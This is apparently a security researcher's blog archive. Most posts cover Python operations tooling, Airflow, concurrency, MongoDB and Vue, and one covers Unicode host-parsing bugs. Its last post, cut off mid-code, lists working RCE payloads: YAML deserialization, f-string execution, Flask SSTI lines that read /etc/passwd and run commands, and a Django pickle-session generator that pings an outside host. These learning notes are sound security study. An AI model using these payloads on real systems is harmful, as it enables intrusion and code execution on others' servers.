0aKarmA's Blog @ D0g3

Python进阶——浅谈自动化运维方案与思路

Mon, 14 Jun 2021 02:56:51 +0800

0x00 背景

手上的服务器越来越多，实在是受不了每次都手动登陆上去管了，就在想有什么方法能够实现轻便的自动化运维，需求大概如下：

尽量不暴露额外端口，即需要基于SSH进行操作管理
支持上传/下载文件
支持批量节点管理
- 服务器监控
- 远程管理服务
- ……

0x01 相关服务器管理面板调研

Ajenti

安装

sudo pip3 install setuptools pip wheel -U
# 最小化安装
pip3 install ajenti-panel ajenti.plugin.core ajenti.plugin.dashboard ajenti.plugin.settings ajenti.plugin.plugins
# 完整安装
pip3 install ajenti-panel ajenti.plugin.ace ajenti.plugin.augeas ajenti.plugin.auth-users ajenti.plugin.core ajenti.plugin.dashboard ajenti.plugin.datetime ajenti.plugin.filemanager ajenti.plugin.filesystem ajenti.plugin.network ajenti.plugin.notepad ajenti.plugin.packages ajenti.plugin.passwd ajenti.plugin.plugins ajenti.plugin.power ajenti.plugin.services ajenti.plugin.settings ajenti.plugin.terminal

# 启动/暂停/重启
ajenti-panel start

可行性分析

优点

安装的每一个都是可以独立自行管理的受控端
除了核心基本模块，其余模块都是以插件形式运行，支持终端、Docker、Cron等的基本管理
开源，可以定制插件，适配不同的需求
不臃肿，可以根据需要加载插件

缺点

没有控制中心插件，故不支持多节点管理，需要自行定制化

Appnode

安装

# 宿主机
INSTALL_AGENT=1 bash -c "$(curl -sS http://dl.appnode.com/install.sh)"

可行性分析

优点

分为控制中心和受控端
基本上的功能都封装好了，还支持各种API，文档也挺全

缺点

相比于Ajenti优点臃肿（受控端装了很多用不着的东西
不能安装在容器里（不能忍

Zabbix

可行性分析

优点

监控齐全
可以执行255字符以内命令
- 但不支持proxy及主动agent模式，即需要节点监听端口

缺点

依赖Zabbix-Agent
- 初次部署时，还是要人工登陆进行安装
- Zabbix-Agent挂了时，相当于节点失联

0x02 相关框架调研

Paramiko

这个包功能特别的丰富，对于自动化运维来说，只需要用到与Client相关的就行（特别是支持密码或密钥登陆）。

Invoke

因为Invoke是在Fabric2.x的时候独立出来的一个项目，所以他在设计上，就是为自动化运维而生的（最香的是封装了本地shell执行）

Click

Click was written to support the Flask microframework ecosystem because no tool could provide it with the functionality it needed.

Click是Flask开发团队用于支撑flask的一个命令行工具（我就觉得他跟flask command的封装有些相似），所以他的工作完全在优化兼容不同系统下的命令行模式，对于自动化运维来说，他比Invoke少了支持shell命令的运行，就意味着要自己去封装实现。

0x03 总结

经过上面的一通分（hu shuo）析 (ba dao)，发现还是基于Paramiko和Invoke的方案比较成熟，而Fabric就是基于这两者实现的，所以接下来会试用一下Fabric，了解一下它的逻辑以及是否满足需求，再看看是否需要自己重复造轮子。

竞品分析的艺术——空间测绘扫描策略初探

Thu, 10 Sep 2020 14:51:00 +0800

0x01 背景

作为一个螺（实）丝（习）钉（生），工作内容比较灵活，所以各方面的东西都能接触到不少。这回来唠嗑唠嗑自己对空间测绘系统扫描策略的一些理解。

总感觉今年各家的空间测绘产品都逐渐冒头toC了，除了老牌的Shodan、Censys、Zoomeye、Fofa、BinaryEdge，新晋的如全球鹰、RaySpace、Sumap等产品都陆陆续续开启了toC模式，这说明网络空间测绘在整个国家网络安全方面的需求更加明显了，各家都开始顺势打造并巩固属于自己的产品壁垒。

0x02 从扫描引擎看扫描策略

拿Zmap、Masscan的官方宣传的话来说，默认模式45分钟左右可以扫完全网。但对于空间测绘系统来说，不单单是扫完全网某一端口是否开放就完事了，还需要对开放端口的协议进行识别、甚至还有深度识别，才能绘制出细致的网络空间地图。

所以如果现在基本上很少看到以“多快”能扫描全网这种类似的宣传用语了，毕竟懂的人都懂。

那么在扫描速度受各种因素限制的情况下，怎么样扫，才能达到“类全网”扫描的结果呢？在扫描引擎的角度，除了底层扫描逻辑的优化和设置端口扫描/识别优先级，还能通过什么来优化扫描策略呢？

0x03 从全网IP存活数看扫描策略

在真正接触网络空间测绘之前，用空间测绘产品时都是站在点的角度上去看某个IP下有啥东西。现在慢慢接触了之后，才发现甚至可以站在宏观的角度上，从单位、区域等角度去看整个网络空间的信息，真是让人大开眼界。下面这幅图是全网Ipv4网络空间存活的希尔伯特曲线，可以清晰的看到其实并不是所有IP都是存活的，也就是有些IP是没有被利用的（感兴趣的可以去研究一下这部分没利用的IP都在谁手里，这里就不详细展开了）。

也就是说，我们可以将全网所有Ipv4的IP分成若干块，然后按照每块的IP利用率进行排序，然后对这些频繁存活的IP块进行周期扫描识别，也就能在消耗相同资源的情况下，完成了“类全网”扫描识别。
但其实这种策略有个缺点就是，利用率低的块可能就不能很好的覆盖扫描。

0x03 从端口数据看扫描策略

由于现在各家产品基本上都上了API频率、积分、封禁限制。所以数据统计（白嫖）的工作没有以前那么好开展了，这里只展示一下具体思路和一个分析撒旦的简单例子，感兴趣的就自己去找路子拿数据就能分析出结果了。

上图的核心端口、重要端口、一般端口、小众端口、其他端口其实就是按照总数划分的的一个端口分类，可以看到撒旦7-8月对核心端口和重要端口（共30+个）的扫描，均占了整月扫描数量的一半以上，由此可以推断出，撒旦的核心扫描端口大概在这30多个当中。

其实把一年中每个月的数据都给统计一下，也是可以看出某个月有没有特别关注的端口，用于挖掘分析一些扫描策略的信息，但由于现在各家都不一样，限制的也比较死，后续有机会看看再整这部分内容。

0x04 总结

百家争鸣其实是好事，能够鼓励不断创新，推动国家网络安全的发展建设（毕竟我们属实比别人落后不少）。身在百家之中，路漫漫其修远兮，愿走出半生，归来仍不忘初心。

Airflow真香之踩坑记录

Sat, 15 Aug 2020 02:31:29 +0800

0x00 前言

最近手头上需要定时自动化维护一些数据，一开始还在想怎么可以减少重复劳动的工作量，后来有前辈跟我提了一嘴Airflow，然后试了试，真香……

然后就开始了下面的踩坑之旅……

0x01 Docker 自动化部署

虽然说可以手动pip安装，但是感觉这样不够轻量，然后就去Github上看看有没有docker镜像～官方那个all in one有点臃肿，然后就看到了docker-airflow，他提供了3种不同的executor，我这里LocalExecutor和CeleryExecutor都试过，感觉单节点的话，用LocalExecutor基本上就可以了，如果后续需要添加worker节点，可以考虑CeleryExecutor，但是下面的坑，其实都是通用的。

但是要注意的一个点就是，建议在docker-compose_xx.yml里先自行填上FERNET_KEY，免得启动容器了再在里面加。

0x02 初始化数据库

默认启动的时候数据库是没有进行初始化的。。所以脚本是跑不通的。。因为会报各种表不存在

sqlalchemy.exc.OperationalError: (sqlite3.OperationalError) no such table: task_instance

这时候就用airflow initdb初始化一下数据库，但是这里会发现他初始化的是sqlite，这就导致后面表不统一（明明开了PostgreSQL

所以还是要把airflow.cfg的数据库配置改成sql_alchemy_conn = postgresql://airflow:airflow@postgres/airflow才会对应用postgresql数据库

0x03 Web登陆认证配置

修改配置

在airflow.cfg的[webserver]下面添加如下配置

authenticate = True
auth_backend = airflow.contrib.auth.backends.password_auth

然后安装一个pip包

pip install flask_bcrypt

增加用户

然后这里就是坑点。。。网上有的大哥说可以直接用命令建

airflow create_user --username admin --lastname admin --firstname admin --email test@test.com --role Admin --password admin

// 但是也会报表不存在
sqlalchemy.exc.OperationalError: (sqlite3.OperationalError) no such table: ab_permission_view_role

我后面是直接在Web页面建了用户，然后手动在数据库update的密码……
后来又发现在原来的基础上需要把sql engine也给配了，才不会用默认的sqlite

import airflow
from airflow import models, settings
from airflow.contrib.auth.backends.password_auth import PasswordUser
from sqlalchemy import create_engine
user = PasswordUser(models.User())
user.username = ''
user.email = ''
user.password = ''
# Make the value true if you want the user to be a administrator
user.superuser = True
engine = create_engine("postgresql://airflow:airflow@postgres:5432/airflow")
session = settings.Session(bind=engine)
session.add(user)
session.commit()
session.close()
exit()

0x04 任务定时执行窗口

Note that if you run a DAG on a schedule_interval of one day, the run stamped 2016-01-01 will be trigger soon after 2016-01-01T23:59. In other words, the job instance is started once the period it covers has ended.

其实就是要注意下，下一个执行周期到来的时候当前任务才会执行。即假设是每日任务，今天的任务，会在明天才执行。

0x05 测试任务

按照模版写好dag，然后就可以开始测试脚本了

# 列出所有可执行的tasks
airflow list_tasks dag_name
# 测试执行tasks
airflow test dag_name task_name date

Python进阶——如何优雅地使用Python高并发

Mon, 09 Mar 2020 12:59:05 +0800

背景

话就不多说了，直接上代码

多进程

多进程下可以用Manager类来共享变量，apply_async可以调用多个参数，用map只能调用单个参数

from multiprocessing import Pool, Manager


def rice(x,results):
    result = "吃{}碗饭...".format(x)
    # print(result)
    results.append(result)


if __name__ == '__main__':

    results = Manager().list()
    pool = Pool(processes=2)
    jobs = []
    for x in range(3):
        job = pool.apply_async(rice, (x, results))
        jobs.append(job)
    pool.close()
    pool.join()
    print(results)

# Output:   
# ['吃0碗饭...', '吃1碗饭...', '吃2碗饭...']

当然在Python3.2之后还可以用(写法)更简单一点的concurrent.futures

from concurrent.futures import ProcessPoolExecutor
p = ProcessPoolExecutor(2)
for i in range(5):
    obj = p.submit(task, i)

多线程

不是特殊情况下，一般不会用Python的多线程，毕竟有GIL锁，想了解GIL锁可以看另一篇文章：Python进阶——什么是Python GIL？

from multiprocessing.pool import ThreadPool


def rice(x,results):
    result = "吃{}碗饭...".format(x)
    results.append(result)


if __name__ == '__main__':
    results = []
    pool = ThreadPool(2)
    jobs = []
    for x in range(3):
        job = pool.apply_async(rice, (x, results))
        jobs.append(job)
    pool.close()
    pool.join()
    print(results)

# Output:   
# ['吃0碗饭...', '吃1碗饭...', '吃2碗饭...']

同样的在Python3.2之后还可以用(写法)更简单一点的concurrent.futures

from concurrent.futures import ThreadPoolExecutor
p = ThreadPoolExecutor(2)
for i in range(5):
    obj = p.submit(task, i)

协程

协程这里其实可以有很多框架可以做例子，asyncio或gevent，这里用gevent举栗子

from gevent import monkey, pool
monkey.patch_all()
import gevent


def rice(x):
    result = "吃{}碗饭...".format(x)
    print(result)
    gevent.sleep(1)
    print("歇{}会再吃...".format(x))

if __name__ == '__main__':
    num = 3
    pool = pool.Pool(num)
    for i in range(3):
        pool.spawn(rice, i)
    pool.join()

# Output:
吃0碗饭...
吃1碗饭...
吃2碗饭...
歇0会再吃...
歇1会再吃...
歇2会再吃...

多进程 + 多线程

这种类型比较适合CPU密集型场合，因为多线程里没有自动对锁的切换，如果用在大规模网络请求中还是比较推荐下面的多进程+协程

import os
from multiprocessing import Pool
from multiprocessing.pool import ThreadPool


def rice(x,y):
    print("{} -- 吃{}碗饭...".format(x,y))

def thread_func(x):
    pool = ThreadPool(3)
    for y in range(3):
        pool.apply_async(rice, (x,y))
    pool.close()
    pool.join()
    print("{}吃完了.".format(x))

if __name__ == '__main__':
    pool = Pool(processes=3)
    for x in range(3):
        pool.apply_async(thread_func, (x,))
    pool.close()
    pool.join()

# Output:
0 -- 吃0碗饭...
1 -- 吃0碗饭...
0 -- 吃1碗饭...
0 -- 吃2碗饭...
1 -- 吃1碗饭...
1 -- 吃2碗饭...
2 -- 吃0碗饭...
2 -- 吃1碗饭...
2 -- 吃2碗饭...
0吃完了.
1吃完了.
2吃完了.

多进程 + 协程

爬虫运用这种配合可以达到效率最快化，当然还要根据实际情况进行微调。

from gevent import monkey, pool
monkey.patch_all(thread=False)
from multiprocessing import Pool
import gevent, requests, os, time


url_lists = """https://www.0akarma.com/
https://www.0akarma.com/blog
https://www.0akarma.com/archives
https://www.0akarma.com/flicks
https://www.0akarma.com/life
https://www.0akarma.com/about
https://www.0akarma.com/search?q=
http://www.0akarma.com/
https://www.0akarma.com/feed
https://www.0akarma.com/vue-learning.html
https://www.0akarma.com/tags/Vue
https://www.0akarma.com/host-series-vulns.html
https://www.0akarma.com/tags/BlackHat
https://www.0akarma.com/tags/Host-Series
https://www.0akarma.com/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1
https://www.0akarma.com/python-universal-vuln-learning.html
https://www.0akarma.com/blog?page=2
https://www.0akarma.com/tags/Python
https://www.0akarma.com/feedlybot.html
https://www.0akarma.com/about.html
https://www.0akarma.com/tags/SQL%20Injection
https://www.0akarma.com/tags/CTF
https://www.0akarma.com/tags/Spider
https://www.0akarma.com/tags/Scrapy
https://www.0akarma.com/tags/Vulnhub
https://www.0akarma.com/tags/Hexo
https://www.0akarma.com/tags/Docker
https://www.0akarma.com/tags/Mac
https://www.0akarma.com/tags/Mentohust
https://www.0akarma.com/tags/Flask
https://www.0akarma.com/tags/Exploitation
https://www.0akarma.com/tags/Nginx
https://www.0akarma.com/tags/CTFd
https://www.0akarma.com/tags/Coolq
https://www.0akarma.com/junior-flags.html
https://www.0akarma.com/self-talking-of-2018.html
https://www.0akarma.com/ballroom-e-youkoso.html
https://www.0akarma.com/tags/Meditation
https://www.0akarma.com/tags/Flag
https://www.0akarma.com/tags/Movies
https://www.0akarma.com/life?page=2
https://www.0akarma.com/tags/Perception
https://www.0akarma.com/tags/About
https://www.0akarma.com/sccc-2019.html
https://www.0akarma.com/magic-ctfd.html
https://www.0akarma.com/BlueWhale-pwn.html
https://www.0akarma.com/yzmcms-audit.html
https://www.0akarma.com/Nginx-VulnConfig.html
https://www.0akarma.com/code-breaking-2018.html
https://www.0akarma.com/35c3-POST.html
https://www.0akarma.com/fireshell-2019.html
https://www.0akarma.com/lctf-2018%0A.html
https://www.0akarma.com/0ak-blog.html
https://www.0akarma.com/php-dangerfuncs.html
https://www.0akarma.com/hctf-2018.html
https://www.0akarma.com/SSRF.html
https://www.0akarma.com/xxe-learning.html
https://www.0akarma.com/HR-audit.html
https://www.0akarma.com/ArbFileUpload.html
https://www.0akarma.com/hexo-vps.html
https://www.0akarma.com/docker-website.html
https://www.0akarma.com/flicks?page=2
"""

def fetch_url(url):
    requests.get(url)
    # print("{} -- {}".format(os.getpid(),gevent.getcurrent()))

def gevent_func(x):
    num = 3
    p = pool.Pool(num)
    for url in url_lists.split("\n"):
        p.spawn(fetch_url, url)

if __name__ == '__main__':
    start_time = time.time()
    num = 3
    pool = Pool(processes=num)
    for i in range(num):
        pool.apply_async(gevent_func, (i,))
    pool.close()
    pool.join()
    end_time = time.time()
    run_time = end_time - start_time
    print("Spend: %s" % run_time)

# Output:
# async
Spend: 7.983597040176392
# sync
Spend: 23.319398164749146

当然如果懒的话，还可以直接用gevent开发者包装好的grequests，非常简单。

生产者+消费者

如果上面的都解决不了需求的话，那就老老实实上生产者消费者模型吧。

大数据情景下Mongodb数据查询/清洗坑点汇总

Sat, 07 Mar 2020 12:34:50 +0800

建立索引

建议加上{"background":1}避免读写锁的产生，导致数据库长时间无响应

db.collection.createIndex({"ip":1,"port":1,"timestamp":1},{"background":1})

数据查询

聚合查询

$sample和$limit有啥区别？

$limit是取collection中固定顺序（并不是随机）的若干条数据，而$sample则是随机返回若干条数据，但是有两种情况：
$sample 处于聚合管道的第一阶段；
N 小于Collection中的文档数量的 5% ;
* Collection中的文档数量大于 100；

当满足上面三个要求的时候，$sample将通过伪随机的游标来获取记录。当任一条件不满足时，$sample将进行集合扫描，并通过随机排序来选择相应的 N 条记录。

当如果数据集合大于100M的时候建议用{"allowDiskUse":true}解除内存限制。

db.collection.aggregate([
{ "$sample": { "size": 1000 } },
{ "$match": { "asn_code": "" }},
{ "$group": { "_id": "$ip" } 
}])

流加载

MongoDB will stream batched results to the client without waiting for the client to request each batch, reducing latency.
文档上的解释是结果会以流式返回，但是经过测试发现，在小数据情况下，直接用默认的NON_TAILABLE和EXHAUST速度区别不大；然鹅在大数据的情况下，流式加载的速度反而会比默认的慢，就有点鸡肋，所以不建议使用这种方式。

cursors = collection.find({"asn_code": "", "asn_name": ""}, {"_id": 0, "ip": 1}, cursor_type=pymongo.cursor.CursorType.EXHAUST, batch_size=500, no_cursor_timeout=True)

ObjectId

专业选手应该都学会先翻阅文档：ObjectId
ObjectId = epoch时间(4字节) + 机器标识(3字节) + 进程号PID(2字节) + 计数器(3字节)

所以如果要将ObjectId格式化成时间的话，就可以用下面这个函数

def id2time(object_id):
    timeStamp = int(object_id[:8], 16)
    return time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(timeStamp))

如果需要对库中的数据进行清洗，那就可以按照insert时间分片查询，避免服务器内存不足或者数据量太大导致查询缓慢，经过测试，基于ObjectId索引的查询会比我们自己创建的索引速度快上不少，而且可以分片，减轻服务器压力。

from bson.objectid import ObjectId
per = 30
to_time = datetime.datetime.utcnow()
from_time = to_time - datetime.timedelta(minutes=per)

db.collection.find({'_id': {'$gt': ObjectId.from_datetime(from_time), '$lte':ObjectId.from_datetime(to_time)}})

因为mongodb是基于cursor的，所以就算你在大集合下，你用一个find({})，依然不会把你的内存塞满，而是一个个遍历下去，只是对于机子性能比较捉急的，可能就会出现假死的现象，所以用不用ObjectId来分类就见仁见智啦。

数据迁移

数据转移的常规方法就是把老库的数据全都遍历一遍，但是呢单gevent协程不够暴力，那就加个多进程，直接起飞……

但是如果你的数据是有增量的，那就可以用监听CursorType.TAILABLE_AWAIT来完成同步/异步迁移

import time
import pymongo

client = pymongo.MongoClient(host=uri)

oplog = client.local.oplog.rs
first = oplog.find().sort('$natural', pymongo.ASCENDING).limit(-1).next()

ts = first['ts']

while True:
    cursor = oplog.find({'ts': {'$gt': ts}},
                        cursor_type=pymongo.CursorType.TAILABLE_AWAIT,
                        oplog_replay=True)
    while cursor.alive:
        for doc in cursor:
            print(doc)
            if doc['op'] == 'i' and doc['o'] == 'my_collection':
                # blablabla     
        time.sleep(1)

简单的介绍一下oplog的语义，如果想更高级的利用的话，自己看文档嗷。

ts: 时间戳
op: 操作类型
- "i": insert
- "u": update
- "d": delete
- "c": command
"ns": 操作所在的namespace，通常为数据库名.集合名
"o": 当前操作的内容
"o2": 在执行更新时的where条件，当op是u时才有

数据清洗

因为一开始数据库没有设多字段索引唯一，所以在高并发下导致有若干重复数据写入，还是要写个脚本给他洗个澡。

pipeline = [
    { "$group": { "_id": {"ip":"$ip","port":"$port","time":"$time"}, "count":{"$sum": 1}, "dups": {"$addToSet": '$_id'}} },
    { "$match": { "count": {"$gt": 1}}}
]

map_id = map(lambda doc: doc['dups'][1:], collection.aggregate(pipeline=pipeline,allowDiskUse=True))
list_id = [item for sublist in map_id for item in sublist]

for _id in list_id:
    print(collection.delete_one({"_id":_id}))

查询语句优化

利用explain()可以查看查询语句的各个阶段的执行状态，从而进行查询语句的速度优化。

db.shodan_stream_official.explain("executionStats").aggregate( [
     { $match: { "asn": "", "org":"" } },
   { $group: { _id: "$ip" } }
],{"allowDiskUse":true})

Python进阶——什么是Python GIL？

Sun, 01 Mar 2020 14:08:06 +0800

背景

Global Interpreter Lock（GIL）从字面意思他就是全局解释器锁，所以不要不经脑子就说他是Python的特性，他只是Cpython解释器的一个概念。只是现在大部分人用的都是Cpython的Python，所以才会被大部分人误会。

并发与并行

当代码逻辑完成了需求之后，总会想各种办法来解决速度慢的问题，那么首先来分清楚两个概念，即并发与并行。

并发指的是一个CPU交替执行多个问题，并行指的是多个CPU同时执行任务。

虽然从感觉上都是“同时”执行，但实际上，并发是因为CPU执行速度快，人为上感受不到延迟，而并行才是真正意义上的“并发”。

GIL是好还是坏？

GIL是因为在语言开发之初，开发者只考虑到单核CPU，但是随着Python的发展，代码量越来越多，所以这在多年Python迭代中也没能很好的解决这个问题。

在单线程的情况下，GIL无疑是好的，因为能帮助用户控制线程安全，用户只需要关注代码逻辑本身，而在多线程的情况下呢，因为有GIL的存在，一个线程只有在拿到GIL锁时才会执行任务，其余线程都处于阻塞状态，这就导致多线程几乎就是单线程。

到了这，就到了下一个需要探讨的话题了，什么时候用多进程，什么时候用多线程

通俗的来讲，计算密集型多用多进程，因为能充分的利用多核CPU的优势，加快程序执行

IO密集型多用多线程，因为在IO密集型的情况下，你无论开多个进程依旧需要阻塞等待，使用多线程就能通过切换来执行任务，当然协程也是一个不错的替代品

GIL能否规避？

想合理的规避GIL，让程序直接压榨电脑性能，提高效率，只需要
多进程 + 协程
* 这个是比较简单也是比较方便的做法，因为多进程后每个进程都是独立的，都有独立的GIL锁，然后再加上协程自动调度任务，就可以比较完美的规避GIL的影响了
更换解释器
* 这个做法不是十分推荐，毕竟我们大部分人用的都是CPython，换了解释器可能就捡了芝麻丢了西瓜

Vue 入坑指南

Sat, 29 Feb 2020 05:47:02 +0800

环境配置

brew install node
npm install vue -g --registry=https://registry.npm.taobao.org
npm install webpack -g --registry=https://registry.npm.taobao.org

基础 —— 手撸Demo

TodoList

<!--
 * @Author: 0aKarmA_骅文
 * @Date: 2020-02-29 16:46:24
 * @LastEditors  : 0aKarmA
 * @LastEditTime : 2020-02-29 18:05:06
 * @Description: file content
 -->
<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<body>
<script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script>
<style>
 .todo {
    list-style: none;
 }
 .finished {
    text-decoration: line-through;
 }
</style>
<div id="app">
    <p>Ez Todo List</p>
    <!-- 
        绑定表单，值动态改变 
        监听回车键，提交
    -->
    <input type="text" placeholder="add a todo" autofocus
        v-model="todos.content" 
        @keydown.enter="addTodo"
    >
    <ul>
        <!-- 遍历list输出内容 -->
        <li v-for='(todo,index) in list' :key='index'>
            <!-- 监听点击，添加元素 -->
            <input type='checkbox' :check="todos.finished" @click="changeStatus(index)">
            <!-- 若已完成，则添加finished的class帮助前端展示 -->
            <span :class="{'finished':todo.finished}">{{ todo.content }}</span>
            <!-- 监听点击，删除元素 -->
            <button @click="delTodo(index)">delete</button>
        </li>
    </ul>
    <p v-if='list.length===0'>Empty Todo List</p>
</div>
<script>
var app = new Vue({
  el: '#app',
  data: {
    todos: {
        content: '',
        finished: false
    },
    list: []
  },
  methods: {
    addTodo() {
        // 将当前元素压入数组
        this.list.push(this.todos);
        // 清空当前元素，供下个元素使用
        this.todos={
            content: '', //初始化内容为空，不能省略
            finished: false //未完成
        }
    },
    changeStatus(index) {
        let c = this.list[index].finished;
        this.list[index].finished = !c;
    },
    delTodo(index) {
        this.list.splice(index,1);
    }
  }
})
</script>

</body>
</html>

进阶 —— Vue-router

资料

新手向：Vue 2.0 的建议学习顺序

Host-Series Vulnerability - Blackhat 2019

Mon, 30 Sep 2019 14:17:24 +0800

Background

Unicode -> ASCII 要经过两个过程

格式化（标准化字符）
微小的编码（将Unicode转换成ASCII）

格式化(Normalization)

将多个类似的Unicode字符统一格式化成另一个Unicode字符
hostname中任意的Unicode字符都会转换成Compatibility Composition(KC)格式。因为Unicode字符的不同组合都会影响到视觉上的一些含义，这一步统一格式化操作是为了保证hostname中的字符能唯一的双向渲染出来。

微小的编码(Punycoding)

将Unicode编码转换成ASCII码
经过上一步的格式化操作后，就可以用Punycode把Unicode字符变成由ASCII Compatible Encoding Prefix(xn--)、原始顺序的字符、一连串的ASCII字符组成的重构符（用于给机器重构出原来的non-ascii字符部分）

这种转化其实有点像中文域名在url中的处理方式

此外，ASCII -> Unicode 也只需要将punycoding逆向进行一次即可得到。

三种IDNA标准

IDNA2003 / IDNA2008 / IDNA2008 + UTS46
每一个标准都允许不同格式的Unicode字符和定义了不同的格式化规则

The HostSplit Vulnerability

当Unicode字符能直接格式化成合法的ASCII字符时，就不用经过Punycode转换了，但是这种情况下可能就会出现漏洞点了。

Java

Python

>>> from urllib.parse import urlsplit, urlunsplit
>>> url = 'http://0akarma.c℀.com/some.txt'
>>> url
'http://0akarma.c℀.com/some.txt'
>>> parts = list(urlsplit(url))
>>> host = parts[1]
>>> host
'0akarma.c℀.com'
>>> newhost = []
>>> for h in host.split('.'):
...     newhost.append(h.encode('idna').decode('utf-8'))
...
>>> parts[1] = '.'.join(newhost)
>>> finalUrl = urlunsplit(parts)
>>> finalUrl
'http://0akarma.ca/c.com/some.txt'
>>>

从example可以看到，特定的unicode字符经过.encode('idna').decode('utf-8')会转换成合法的ASCII字符，而无需经过Punycoding，这样就

另一个变种就是

>>> from urllib.parse import urlparse
>>> r='http://bing.com'+u'\uFF03'+':password@products.office.com'
>>> o = urlparse(r)
>>> o.hostname
'products.office.com'
>>> a = r.encode("IDNA").decode("ASCII")
>>> a
'http://bing.com#:password@products.office.com'
>>> o = urlparse(a)
>>> o.hostname
'bing.com'

这个点其实Zedd师傅已经在SUCTF2019率先出了个题了～

The HostBond Vulnerability

IDNA2008允许Unicode转ASCII时使用\u200D(Zero-Width- Non-Joiner)和\u200c(Zero-Width Non-Joiner)，所以如果有一个hostname长的像这样'0a' + \u200D + 'karma.com'，那它经过处理之后就会变成xn--0akarma-469d.com这样的punnycode，但是如果我们将这样的punnycode经过A-labels到U-labels的转换时，你就会发现hostname变成了0akarma.com，中间那个\u200D不可见了（其实他还在，只是看不到）。这样就会导致HostBond漏洞的出现。
这样可以造成的后果包括但不限于：
用户无法用肉眼去分别url，容易被钓鱼网站利用
如果服务端存在ASCII->Unicode->ASCII的处理逻辑，经过HostBond可以达到绕过目的

Best Practices

如何发现HostSplit

原作者给了两种方式，一种是在hostname中加入可以跳过Punnycode编码的字符，然后利用dns查询通过判断返回结果来确定是否存在该漏洞，eg:http://canada.c℀.bing.com，如果dns查询结果为canada.ca则代表存在该漏洞，反之则不存在。
第二种我认为更简单一些，举例说明：http://a.com／X.b.com，如果访问该url时返回的结果是会请求a.com下的X.b.com文件，就代表存在该漏洞，反之如果访问该url时不会发送请求或发送一个请求到包含Punnycode的域名则代表不存在该漏洞。

如何发现HostBond

HostBond出现的地方大多是在UI里，因为需要将A-labels转换成U-labels，然后渲染出来。

修复建议

统一url是通过ASCII解析还是Unicode，不要两个混在一起用
在解析url之前先进行（黑名单）检测
用STD3ASCIIRule
过滤

加餐列表

这个其实可以根据实际情况自己Fuzz

Summary

虽说这个Host-Series系列漏洞在某种意义上来讲比较鸡（少）肋（见），但是这也不失为一种拓宽自己思路的方式，反正就是各种膜大佬的骚姿势。

References

Host/Split Exploitable Antipatterns in Unicode Normalization

It's time to set Flags in Junior Year (持续更新)

Sat, 07 Sep 2019 14:26:55 +0800

In my Junior Year:

[ ] 深入研究一下Java安全
[ ] 入门Machine Learning
[ ] IELTS Total -> 7+ （今年再不考我是猪）
[ ] 易经文化助人为乐

Python Universal Vulnerabilities Learning

Wed, 21 Aug 2019 13:11:39 +0800

Universal

格式化字符串

"%s"%() 与 {}.format()

payload

{user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}
{user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}

格式化字符串能导致敏感信息泄露，配合django的secret_key可以RCE

f修饰符 to RCE

python -c "f'''{__import__('os').system('id')}'''"

但是python没有提供普通字符串转f字符串的方法，所以基本上没有更厉害的利用

YAML反序列化 to RCE

通用payload

!!python/object/apply:subprocess.check_output [[calc.exe]]

!!python/object/apply:subprocess.check_output ["calc.exe"]

!!python/object/apply:subprocess.check_output [["calc.exe"]]

!!python/object/apply:os.system ["calc.exe"]

!!python/object/new:subprocess.check_output [["calc.exe"]]

!!python/object/new:os.system ["calc.exe"]

Pickle反序列化 to RCE

一般在什么场景下需要用到Pickle？

通常在解析认证token，session的时候。
可能将对象Pickle后存储成磁盘文件。
可能将对象Pickle后在网络中传输。

序列化：

pickle.dump(文件) 
pickle.dumps(字符串)

反序列化:

pickle.load(文件)
pickle.loads(字符串)

Python Pickle的任意代码执行漏洞实践和Payload构造

Numpy反序列化 to RCE

其实也是在numpy中使用了pickle.load函数的序列化

修复：

numpy.load(filename, allow_pickle=False)

Flask

SSTI

知道了SSTI的成因，后面就是利用沙箱逃逸了，关于沙箱逃逸可以看这篇文章Python沙箱逃逸的n种姿势。
附上几个常用payload

#py2
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}  
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('whoami')}}  
{{ config.from_pyfile('/tmp/owned.cfg') }} 

{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('whoami').read()}}


#py3

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}

{{ ().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()") }}

{{"".__class__.__mro__[1].__subclasses__()[469].__init__.__globals__['popen']('ls').read()}}

当然，在这基础上还会有一定程度的过滤，就需要自行绕过了。
exploring-ssti-in-flask-jinja2
当同时过滤_和[时该怎么解决：
Jinja2 template injection filter bypasses

SSTI/沙盒逃逸详细总结

Django

Secret_key to RCE

实现条件

使用了cookie-based sessions
使用了serializers.PickleSerializer（ django1.5及以下，session默认是采用pickle执行序列化操作django.contrib.sessions.serializers.PickleSerializer；在1.6 及以上版本默认采用json序列化。django.contrib.sessions.serializers.JSONSerializer）

poc可以用bit4大佬的

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'

import os
import requests
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import pickle

def session_gen(SECRET_KEY,command = 'ping -n 3 test.0y0.link || ping -c test.0y0.link',):
    class Run(object):
        def __reduce__(self):
            #return (os.system,('ping test.0y0.link',))
            return (os.system,(command,))

    #SECRET_KEY = '1bb8)i&dl9c5=npkp248gl&aji7^x6izh3!itsmb6&yl!fak&f'
    SECRET_KEY = SECRET_KEY

    sess = signing.dumps(Run(), key = SECRET_KEY,serializer=PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
    #生成的恶意session
    print sess


    '''
    salt='django.contrib.sessions.backends.signed_cookies'
    sess = pickle.dumps(Run())
    sess = signing.b64_encode(sess)#通过跟踪signing.dumps函数可以知道pickle.dumps后的数据还经过了如下处理。
    sess = signing.TimestampSigner(key=SECRET_KEY, salt=salt).sign(sess)
    print sess
